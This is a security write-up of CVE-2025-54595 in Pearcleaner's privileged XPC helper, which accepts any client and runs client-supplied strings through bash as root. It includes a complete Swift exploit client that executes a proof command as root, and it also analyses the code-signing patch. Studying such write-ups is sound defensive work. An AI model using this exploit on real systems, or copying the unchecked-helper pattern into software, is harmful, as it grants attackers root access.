introduction
what is a XPC and how does it works?
XPC is a high level peer-to-peer interprocess-communication (IPC). There's always a listener or a server who listens for incoming connection requests and can perform actions. Clients initialize with the server by creating a session, once there's a connection with the XPC server, the client can send messages and receives responses back. This is can be implemented in apps and frameworks.
A XPC service is kind of a "sandboxed" environment. Usually XPC services are given high permissive entitlements so only the service can do privileged things and not the whole application. Because XPC implementation usually have more privileges than the main app, this makes XPC an interesting target. XPC are considered pretty easy to implement and safe, but it's only safe if the XPC server does check which client can connect.
So ideally the XPC server should verify if the client process is privileged enough to talk to the server. This can be checked if the client has certain custom entitlements that are only available for the original developer or
enumeration
Pearcleaner installs a privileged XPC service when the user wants to do a privileged action (e.g. deleting files in the /var directory).
The root cause of this vulnerability lies in the listener(_:shouldAcceptNewConnection:) this accepts all incoming client XPC connections by returning true, without verifying whether the sender is the legitimate main application. This allows any application on the system including malicious ones to interact with the helper.
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
newConnection.exportedObject = self
newConnection.invalidationHandler = { [weak self] in
self?.activeConnections.remove(newConnection)
if self?.activeConnections.isEmpty == true {
exit(0) // Exit when no active connections remain
}
}
activeConnections.insert(newConnection)
newConnection.resume()
return true
}
The exposed method runCommand uses bash -c to execute arbitrary strings passed from the XPC client. This is vulnerable to a command injection vulnerability, allowing the execution of arbitrary code with root privileges. This grants attackers root access over the system.
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void) {
let process = Process()
process.executableURL = URL(fileURLWithPath: "/bin/bash")
process.arguments = ["-c", command]
let pipe = Pipe()
process.standardOutput = pipe
process.standardError = pipe
do {
try process.run()
process.waitUntilExit()
} catch {
reply(false, "Failed to run command: \(error.localizedDescription)")
return
}
let data = pipe.fileHandleForReading.readDataToEndOfFile()
let output = String(data: data, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let success = (process.terminationStatus == 0) // Check if process exited successfully
reply(success, output.isEmpty ? "No output" : output)
}
breakdown of the code snippets
For every client that tries to connect with the XPC service is going through this NSXPCListener function, in this piece of code you can define wether to accept or decline a client connection.
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
newConnection.exportedObject = self
newConnection.invalidationHandler = { [weak self] in
self?.activeConnections.remove(newConnection)
if self?.activeConnections.isEmpty == true {
exit(0) // Exit when no active connections remain
}
}
activeConnections.insert(newConnection)
newConnection.resume()
return true
}
This function NSXPCListener accept and resumes incoming NSXPCConnections
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool
This exposes the Protocol that should be defined in our malicious client later. The client can call the method that are defined in HelperToolProtocol.
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
Linking the implementation?
newConnection.exportedObject = self
Then we have the fallback implementation, first we're retrieving the connection from activeConnections, if there's no active connections we're closing the process with exit(0).
newConnection.invalidationHandler = { [weak self] in
self?.activeConnections.remove(newConnection)
if self?.activeConnections.isEmpty == true {
exit(0)
}
}
Next we're saving the connection and then start the connection. Finally we start the connection with return true
activeConnections.insert(newConnection)
newConnection.resume()
return true
Notice that are no validation checks implemented whether a client is authorized to connect. There is a few ways to check if the client is authorized:
- bundle identifier
- team ID
- client is signed with a valid certificate
Next we have what's called routines or methods, you can see this as what function the client can call on the XPC service. Pearcleaner has two methods runCommand and runThinning:
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void) {
let process = Process()
process.executableURL = URL(fileURLWithPath: "/bin/bash")
process.arguments = ["-c", command]
let pipe = Pipe()
process.standardOutput = pipe
process.standardError = pipe
do {
try process.run()
process.waitUntilExit()
} catch {
reply(false, "Failed to run command: \(error.localizedDescription)")
return
}
let data = pipe.fileHandleForReading.readDataToEndOfFile()
let output = String(data: data, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let success = (process.terminationStatus == 0) // Check if process exited successfully
reply(success, output.isEmpty ? "No output" : output)
}
So this snippet of code basically creates a process with:
/bin/bash -c "any command"
runThinning routine line 61-65:
func runThinning(atPath: String, withReply reply: @escaping (Bool, String) -> Void) {
let success = thinBinaryUsingMachO(executablePath: atPath)
reply(success, success ? "Success" : "Failed")
}
}
This piece of code isn't really interesting for us, besides it may be vulnerable to path traversal.
The last snippet of code is: (line 68-72) this is just starting the XPC listener so that clients can connect. The let listener ... machServiceName creates a listener that listens on the mach service name that is defined in the plist file: com.alienator88.Pearcleaner.PearcleanerHelper.plist)
let delegate = HelperToolDelegate()
let listener = NSXPCListener(machServiceName: "com.alienator88.Pearcleaner.PearcleanerHelper")
listener.delegate = delegate
listener.resume()
RunLoop.main.run()
exploitation
This complete client that connects to the server and make requests. In this case it calls the the runCommand method with arbitrary commands:
// cve-2025-54595.swift
// mkdir cve-2025-54595 && cd cve-2025-54595
// swift package init --type executable
// swift build -c release
// .build/release/cve-2025-54595
import Foundation
@objc protocol HelperToolProtocol {
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void)
}
let connection = NSXPCConnection(machServiceName: "com.alienator88.Pearcleaner.PearcleanerHelper", options: .privileged)
connection.remoteObjectInterface = NSXPCInterface(with: HelperToolProtocol.self)
connection.resume()
let proxy = connection.remoteObjectProxyWithErrorHandler { error in
print("Error while connecting: \(error)")
} as? HelperToolProtocol
print("[*] Connected to the helper")
// code execution as root
proxy?.runCommand(command: "whoami && touch /tmp/pwned", withReply: { success, output in
print("Success: \(success)")
print("Output: \(output)")
exit(0)
})
RunLoop.main.run()
I'll break it down again:
This specifies the protocol that contains the runCommand method:
@objc protocol HelperToolProtocol {
func runCommand(command: String, withReply reply: @escaping (Bool, String) -> Void)
}
Next we're connecting with the helper (mach service name). The name that the helper is registered for launchd:
let connection = NSXPCConnection(machServiceName: "com.alienator88.Pearcleaner.PearcleanerHelper", options: .privileged)
connection.remoteObjectInterface = NSXPCInterface(with: HelperToolProtocol.self)
connection.resume()
The options: .privileged means this is a privileged helper tool that runs as root.
The proxy mimics the HelperToolProtocol, if we're calling proxy.runCommand(...snip...) then we're sending a XPC message to the helper
let proxy = connection.remoteObjectProxyWithErrorHandler { error in
print("Error while connecting: \(error)")
} as? HelperToolProtocol
This calls runCommand on the XPC helper service, asking it to execute the shell command. When the helper finishes, it returns a success flag and the combined stdout/stderr output, which the client prints before exiting.
proxy?.runCommand(command: "whoami && touch /tmp/pwned", withReply: { success, output in
print("Success: \(success)")
print("Output: \(output)")
exit(0)
})
patch
link for: patch diff
link: before patch
The author has implemented a codesign check ( PearcleanerHelper/CodesignCheck.swift), as it looks for the code signing certificates
I'm not even close to a beginner software developer (I'm actually horrible at reading and writing code), but ideally you want to separate user input from what's being executed (so don't trust user input). This includes whitelisting methods and the most important is just proper client validation, checking if the client is authorized to connect with the XPC service, then it doesn't really matter how the methods are implemented, its just a "best practice".
I'll explain what the author did to fix the issue is to add access controls so that not every client can talk to the XPC service. Before the helper in listener(_:shouldAcceptNewConnection:) always returns return true so every client could connect.
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
guard isValidClient(connection: newConnection) else {
print("❌ Rejected connection from unauthorized client")
return false
}
// [...snip...] normal setup
return true
}
So if the client doesn't pass the check the connection will not be accepted thus rejected and will never reach the runCommand method.
The new implemented check: client's code signing must match that of the helper
The new function isValidClient(connection) takes the client PID via connection.processIdentifier and then compares the code signing identity with "self" (the privileged helper)
private func isValidClient(connection: NSXPCConnection) -> Bool {
do {
return try CodesignCheck.codeSigningMatches(pid: connection.processIdentifier)
} catch {
print("Helper code signing check failed with error: \(error)")
return false
}
}
It doesn't check for bundle ID nor Team ID but it does check signing certificates, so only processes with the same signing certificates as the helper can connect.
The code in Pearcleaner/CodesignCheck.swift retrieves signing certificates from the privileged helper with SecCodeCopySelf and the client's signing certificates based on PID via SecCodeCopyGuestWithAttributes with kSecGuestAttributePid.
It validates the code signature with SecStaticCodeCheckValidity and retrieves the certificates out of signing information via SecCodeCopySigningInformation and kSecCodeInfoCertificates.
Finally it compares both certs: certs(self) == certs(clientPid)